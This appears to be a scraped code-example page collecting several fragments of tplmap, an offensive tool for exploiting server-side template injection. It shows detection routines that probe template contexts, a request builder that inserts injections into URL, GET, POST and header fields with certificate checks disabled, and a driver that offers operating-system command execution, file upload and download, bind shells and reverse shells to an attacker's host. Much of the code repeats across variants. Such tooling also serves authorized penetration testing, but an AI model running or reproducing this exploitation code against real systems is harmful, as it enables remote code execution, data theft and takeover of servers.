        log.debug('%s: Injection in text context failed, trying to inject in code context' % self.plugin)

        # If not found, try to inject all the prefix and suffix pairs falling below the level
        for ctx in self.contexts:
            if self.channel.args.get('level') > ctx.get('level', 1):
                break
            if expected == self.inject(
                    payload = payload,
                    header = header,
                    trailer = trailer,
                    header_rand = header_rand,
                    trailer_rand = trailer_rand,
                    prefix = ctx.get('prefix', ''),
                    suffix = ctx.get('suffix', '')
                ):
                self.set('render_tag', self.render_tag)
                self.set('header_tag', self.header_tag)
                self.set('trailer_tag', self.trailer_tag)
                self.set('prefix', ctx.get('prefix', ''))
                self.set('suffix', ctx.get('suffix', ''))

                return

        log.debug('%s: Injection in code context failed, trying to inject only payload with no header' % self.plugin)

        # As last resort, just inject without header and trailer and
        # see if expected is contained in the response page
        if expected in self.inject(
                payload = payload,
                header = '',
                trailer = '',
                header_rand = 0,
                trailer_rand = 0,
                prefix = '',
                suffix = ''
            ):
            self.set('render_tag', self.render_tag)
            return
示例#25
0
文件: check.py 项目: Ayoub5474/tplmap
    def _detect_context(self):

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA * randB)

        # Prepare first detection payload and header
        payload = self.render_tag % ({'payload': '%s*%s' % (randA, randB)})
        header_rand = rand.randint_n(3)
        header = self.header_tag % ({'header': header_rand})
        trailer_rand = rand.randint_n(3)
        trailer = self.trailer_tag % ({'trailer': trailer_rand})

        log.debug('%s: Trying to inject in text context' % self.plugin)

        # First probe with payload wrapped by header and trailer, no suffex or prefix
        if expected == self.inject(payload=payload,
                                   header=header,
                                   trailer=trailer,
                                   header_rand=header_rand,
                                   trailer_rand=trailer_rand,
                                   prefix='',
                                   suffix=''):
            self.set('render_tag', self.render_tag)
            self.set('header_tag', self.header_tag)
            self.set('trailer_tag', self.trailer_tag)
            return

        log.debug(
            '%s: Injection in text context failed, trying to inject in code context'
            % self.plugin)

        # If not found, try to inject all the prefix and suffix pairs falling below the level
        for ctx in self.contexts:
            if self.channel.args.get('level') > ctx.get('level', 1):
                break
            if expected == self.inject(payload=payload,
                                       header=header,
                                       trailer=trailer,
                                       header_rand=header_rand,
                                       trailer_rand=trailer_rand,
                                       prefix=ctx.get('prefix', ''),
                                       suffix=ctx.get('suffix', '')):
                self.set('render_tag', self.render_tag)
                self.set('header_tag', self.header_tag)
                self.set('trailer_tag', self.trailer_tag)
                self.set('prefix', ctx.get('prefix', ''))
                self.set('suffix', ctx.get('suffix', ''))

                return

        log.debug(
            '%s: Injection in code context failed, trying to inject only payload with no header'
            % self.plugin)

        # As last resort, just inject without header and trailer and
        # see if expected is contained in the response page
        if expected in self.inject(payload=payload,
                                   header='',
                                   trailer='',
                                   header_rand=0,
                                   trailer_rand=0,
                                   prefix='',
                                   suffix=''):
            self.set('render_tag', self.render_tag)
            return
示例#26
0
    def req(self, injection):

        get_params = deepcopy(self.get_params)
        post_params = deepcopy(self.post_params)
        header_params = deepcopy(self.header_params)
        url_params = self.base_url
        
        # Pick current injection by index
        inj = deepcopy(self.injs[self.inj_idx])
        
        if inj['field'] == 'URL':
            
            position = inj['position']
            
            url_params = self.base_url[:position] + injection + self.base_url[position+1:]
        
        elif inj['field'] == 'POST':
        
            if inj.get('part') == 'param':
                # Inject injection within param
                old_value = post_params[inj.get('param')]
                del post_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                post_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                
                # If injection in value, replace value by index    
                if self.tag in post_params[inj.get('param')][inj.get('idx')]:
                    post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    post_params[inj.get('param')][inj.get('idx')] = injection

        elif inj['field'] == 'GET':
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del get_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                get_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                # If injection in value, inject value in the correct index
                if self.tag in get_params[inj.get('param')][inj.get('idx')]:
                    get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    get_params[inj.get('param')][inj.get('idx')] = injection
                
        elif inj['field'] == 'Header':
            
            # Headers can't contain \r or \n, sanitize
            injection = injection.replace('\n', '').replace('\r', '')
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del header_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                header_params[new_param] = old_value                
                            
            if inj.get('part') == 'value':
                # If injection in value, replace value by index    
                
                if self.tag in header_params[inj.get('param')]:
                    header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection)
                else:
                    header_params[inj.get('param')] = injection
        
        if self.tag in self.base_url:
            log.debug('[URL] %s' % url_params)
        if get_params:
            log.debug('[GET] %s' % get_params)
        if post_params:
            log.debug('[POST] %s' % post_params)
        if len(header_params) > 1:
            log.debug('[HEDR] %s' % header_params)
        
        try:
            result = requests.request(
                method = self.http_method,
                url = url_params,
                params = get_params,
                data = post_params,
                headers = header_params,
                proxies = self.proxies,
                # By default, SSL check is skipped.
                # TODO: add a -k curl-like option to set this.
                verify = False
                ).text
        except requests.exceptions.ConnectionError as e:
            if e and e[0] and e[0][0] == 'Connection aborted.':
                log.info('Error: connection aborted, bad status line.')
                result = None
            else:
                raise

        if utils.config.log_response:
            log.debug("""< %s""" % (result) )

        return result
示例#27
0
文件: checks.py 项目: Rainism/tplmap
def check_template_injection(channel):

    current_plugin = None

    # Iterate all the available plugins until
    # the first template engine is detected.
    for plugin in plugins:

        current_plugin = plugin(channel)

        # Skip if user specify a specific --engine
        if channel.args.get("engine") and channel.args.get("engine").lower() != current_plugin.plugin.lower():
            continue

        current_plugin.detect()

        if channel.data.get("engine"):
            break

    # Kill execution if no engine have been found
    if not channel.data.get("engine"):
        log.fatal(
            """Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests."""
        )
        return

    # Print injection summary
    _print_injection_summary(channel)

    # If actions are not required, prints the advices and exit
    if not any(
        f
        for f, v in channel.args.items()
        if f in ("os_cmd", "os_shell", "upload", "download", "tpl_shell", "tpl_code", "bind_shell", "reverse_shell")
        and v
    ):

        log.info(
            """Rerun tplmap providing one of the following options:\n%(execute)s%(write)s%(read)s%(bind_shell)s%(reverse_shell)s%(execute_blind)s"""
            % (
                {
                    "execute": "\n    --os-shell or --os-cmd to execute shell commands via the injection"
                    if channel.data.get("execute") and not channel.data.get("execute_blind")
                    else "",
                    "bind_shell": "\n    --bind-shell PORT to bind a shell on a port and connect to it"
                    if channel.data.get("bind_shell")
                    else "",
                    "reverse_shell": "\n    --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT"
                    if channel.data.get("reverse_shell")
                    else "",
                    "write": "\n    --upload LOCAL REMOTE to upload files to the server"
                    if channel.data.get("write")
                    else "",
                    "read": "\n    --download REMOTE LOCAL to download remote files"
                    if channel.data.get("read")
                    else "",
                    "execute_blind": "\n    --os-cmd or --os-shell to execute blind shell commands on the underlying operating system"
                    if channel.data.get("execute_blind")
                    else "",
                }
            )
        )

        return

    # Execute operating system commands
    if channel.args.get("os_cmd") or channel.args.get("os_shell"):

        # Check the status of command execution capabilities
        if channel.data.get("execute_blind"):
            log.info("""Only blind injection has been found, command execution will not produce any output.""")
            log.info(
                """A delay string as '&& sleep <delay>' will be appended to your command to return True or False whether it returns successfully or not."""
            )

            if channel.args.get("os_cmd"):
                print current_plugin.execute_blind(channel.args.get("os_cmd"))
            elif channel.args.get("os_shell"):
                log.info("Run commands on the operating system")
                Shell(current_plugin.execute_blind, "%s (blind) $ " % (channel.data.get("os", ""))).cmdloop()

        elif channel.data.get("execute"):
            if channel.args.get("os_cmd"):
                print current_plugin.execute(channel.args.get("os_cmd"))
            elif channel.args.get("os_shell"):
                log.info("Run commands on the operating system")

                Shell(current_plugin.execute, "%s $ " % (channel.data.get("os", ""))).cmdloop()

        else:
            log.error("No system command execution capabilities have been detected on the target")

    # Execute template commands
    if channel.args.get("tpl_code") or channel.args.get("tpl_shell"):

        if channel.data.get("engine"):

            if channel.data.get("blind"):
                log.info("""Only blind execution has been found. Injected template code will not produce any output.""")
                call = current_plugin.inject
            else:
                call = current_plugin.render

            if channel.args.get("tpl_code"):
                print call(channel.args.get("tpl_code"))
            elif channel.args.get("tpl_shell"):
                log.info("Inject multi-line template code. Press ctrl-D to send the lines")
                MultilineShell(call, "%s > " % (channel.data.get("engine", ""))).cmdloop()

        else:
            log.error("No code evaluation capabilities have been detected on the target")

    # Perform file upload
    local_remote_paths = channel.args.get("upload")
    if local_remote_paths:

        if channel.data.get("write"):

            local_path, remote_path = local_remote_paths

            with open(local_path, "rb") as f:
                data = f.read()

            current_plugin.write(data, remote_path)

        else:
            log.error("No file upload capabilities have been detected on the target")

    # Perform file read
    remote_local_paths = channel.args.get("download")
    if remote_local_paths:

        if channel.data.get("read"):

            remote_path, local_path = remote_local_paths

            content = current_plugin.read(remote_path)

            with open(local_path, "wb") as f:
                f.write(content)

        else:

            log.error("No file download capabilities have been detected on the target")

    # Connect to tcp shell
    bind_shell_port = channel.args.get("bind_shell")
    if bind_shell_port:

        if channel.data.get("bind_shell"):

            urlparsed = urlparse.urlparse(channel.base_url)
            if not urlparsed.hostname:
                log.error("Error parsing hostname")
                return

            for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)):

                log.info("Spawn a shell on remote port %i with payload %i" % (bind_shell_port, idx + 1))

                thread.join(timeout=1)

                if not thread.isAlive():
                    continue

                try:

                    telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout=5).interact()

                    # If telnetlib does not rise an exception, we can assume that
                    # ended correctly and return from `run()`
                    return
                except Exception as e:
                    log.debug("Error connecting to %s:%i %s" % (urlparsed.hostname, bind_shell_port, e))

        else:

            log.error("No TCP shell opening capabilities have been detected on the target")

    # Accept reverse tcp connections
    reverse_shell_host_port = channel.args.get("reverse_shell")
    if reverse_shell_host_port:
        host, port = reverse_shell_host_port
        timeout = 5

        if channel.data.get("reverse_shell"):

            current_plugin.reverse_shell(host, port)

            # Run tcp server
            try:
                tcpserver = TcpServer(int(port), timeout)
            except socket.timeout as e:
                log.error("No incoming TCP shells after %is, quitting." % (timeout))

        else:

            log.error("No reverse TCP shell capabilities have been detected on the target")
示例#28
0
文件: tplmap.py 项目: m-starke/tplmap
from core import checks
from core.channel import Channel
from utils.loggers import log
import traceback

version = '0.4'

def main():
    
    args = vars(cliparser.options)
    
    if not args.get('url'):
        cliparser.parser.error('URL is required. Run with -h for help.')
        
    # Add version
    args['version'] = version
    
    checks.check_template_injection(Channel(args))
    
if __name__ == '__main__':

    log.info(cliparser.banner % version)
    
    try:
        main()
    except (KeyboardInterrupt):
        log.info('Exiting.')
    except Exception as e:
        log.critical('Exiting: %s' % e)
        log.debug(traceback.format_exc())
示例#29
0
    def _detect_context(self):

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA*randB)

        # Prepare first detection payload and header
        payload = self.render_fmt % ({ 'payload': '%s*%s' % (randA, randB) })
        header_rand = rand.randint_n(10)
        header = self.header_fmt % ({ 'header' : header_rand })
        trailer_rand = rand.randint_n(10)
        trailer = self.trailer_fmt % ({ 'trailer' : trailer_rand })

        log.debug('%s: Trying to inject in text context' % self.plugin)

        # First probe with payload wrapped by header and trailer, no suffex or prefix
        if expected == self.inject(
                payload = payload,
                header = header,
                trailer = trailer,
                header_rand = header_rand,
                trailer_rand = trailer_rand,
                prefix = '',
                suffix = ''
            ):
            self.set('render_fmt', self.render_fmt)
            self.set('header_fmt', self.header_fmt)
            self.set('trailer_fmt', self.trailer_fmt)
            return

        log.debug('%s: Injection in text context failed, trying to inject in code context' % self.plugin)

        # Loop all the contexts
        for ctx in self.contexts:

            # If --force-level skip any other level
            force_level = self.channel.args.get('force_level')
            if force_level and force_level[0] and ctx.get('level') != int(force_level[0]):
                continue
            # Skip any context which is above the required level
            if not force_level and ctx.get('level') > self.channel.args.get('level'):
                continue

            # The suffix is fixed
            suffix = ctx.get('suffix', '') % ()
            
            # Generate closures whether prefix has closure format string and 'closure' element
            if '%(closure)s' in ctx.get('prefix') and ctx.get('closures'):
                closures = self._generate_closures(ctx)
                prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : '' } )
            # Else, inject a fake element to perform a single run
            else:
                closures = [ '' ]
                prefix = '%(closure)s' + ctx.get('prefix')

            log.info('%s plugin is testing %s*%s code context escape with %i mutations%s' % (
                            self.plugin,
                            repr(prefix).strip("'"),
                            repr(suffix).strip("'"),
                            len(closures),
                            ' (level %i)' % (ctx.get('level', 1)) if self.get('level') else ''
                    )
            )

            for closure in closures:

                # Format the prefix with closure
                prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : closure } )
                if expected == self.inject(
                        payload = payload,
                        header = header,
                        trailer = trailer,
                        header_rand = header_rand,
                        trailer_rand = trailer_rand,
                        prefix = prefix,
                        suffix = suffix
                    ):
                    self.set('render_fmt', self.render_fmt)
                    self.set('header_fmt', self.header_fmt)
                    self.set('trailer_fmt', self.trailer_fmt)
                    self.set('prefix', prefix)
                    self.set('suffix', suffix)

                    return

        log.debug('%s: Injection in code context failed, trying raw payload with no header and trailer' % self.plugin)

        # As last resort, just inject without header and trailer and
        # see if expected is contained in the response page
        result = self.channel.req(payload)
        if result and expected in result:
            self.set('render_fmt', self.render_fmt)
            return
示例#30
0
    def req(self, injection):

        get_params = deepcopy(self.get_params)
        post_params = deepcopy(self.post_params)
        header_params = deepcopy(self.header_params)
        url_params = self.base_url
        
        # Pick current injection by index
        inj = deepcopy(self.injs[self.inj_idx])
        
        if inj['field'] == 'URL':
            
            position = inj['position']
            
            url_params = self.base_url[:position] + injection + self.base_url[position+1:]
        
        elif inj['field'] == 'POST':
        
            if inj.get('part') == 'param':
                # Inject injection within param
                old_value = post_params[inj.get('param')]
                del post_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                post_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                
                # If injection in value, replace value by index    
                if self.tag in post_params[inj.get('param')][inj.get('idx')]:
                    post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    post_params[inj.get('param')][inj.get('idx')] = injection

        elif inj['field'] == 'GET':
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del get_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                get_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                # If injection in value, inject value in the correct index
                if self.tag in get_params[inj.get('param')][inj.get('idx')]:
                    get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    get_params[inj.get('param')][inj.get('idx')] = injection
                
        elif inj['field'] == 'Header':
            
            # Headers can't contain \r or \n, sanitize
            injection = injection.replace('\n', '').replace('\r', '')
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del header_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                header_params[new_param] = old_value                
                            
            if inj.get('part') == 'value':
                # If injection in value, replace value by index    
                
                if self.tag in header_params[inj.get('param')]:
                    header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection)
                else:
                    header_params[inj.get('param')] = injection
        
        if self.tag in self.base_url:
            log.debug('[URL] %s' % url_params)
        if get_params:
            log.debug('[GET] %s' % get_params)
        if post_params:
            log.debug('[POST] %s' % post_params)
        if len(header_params) > 1:
            log.debug('[HEDR] %s' % header_params)
        
        try:
            result = requests.request(
                method = self.http_method,
                url = url_params,
                params = get_params,
                data = post_params,
                headers = header_params,
                proxies = self.proxies,
                # By default, SSL check is skipped.
                # TODO: add a -k curl-like option to set this.
                verify = False
                ).text
        except requests.exceptions.ConnectionError as e:
            if e and e[0] and e[0][0] == 'Connection aborted.':
                log.info('Error: connection aborted, bad status line.')
                result = None
            else:
                raise

        if utils.config.log_response:
            log.debug("""< %s""" % (result) )

        return result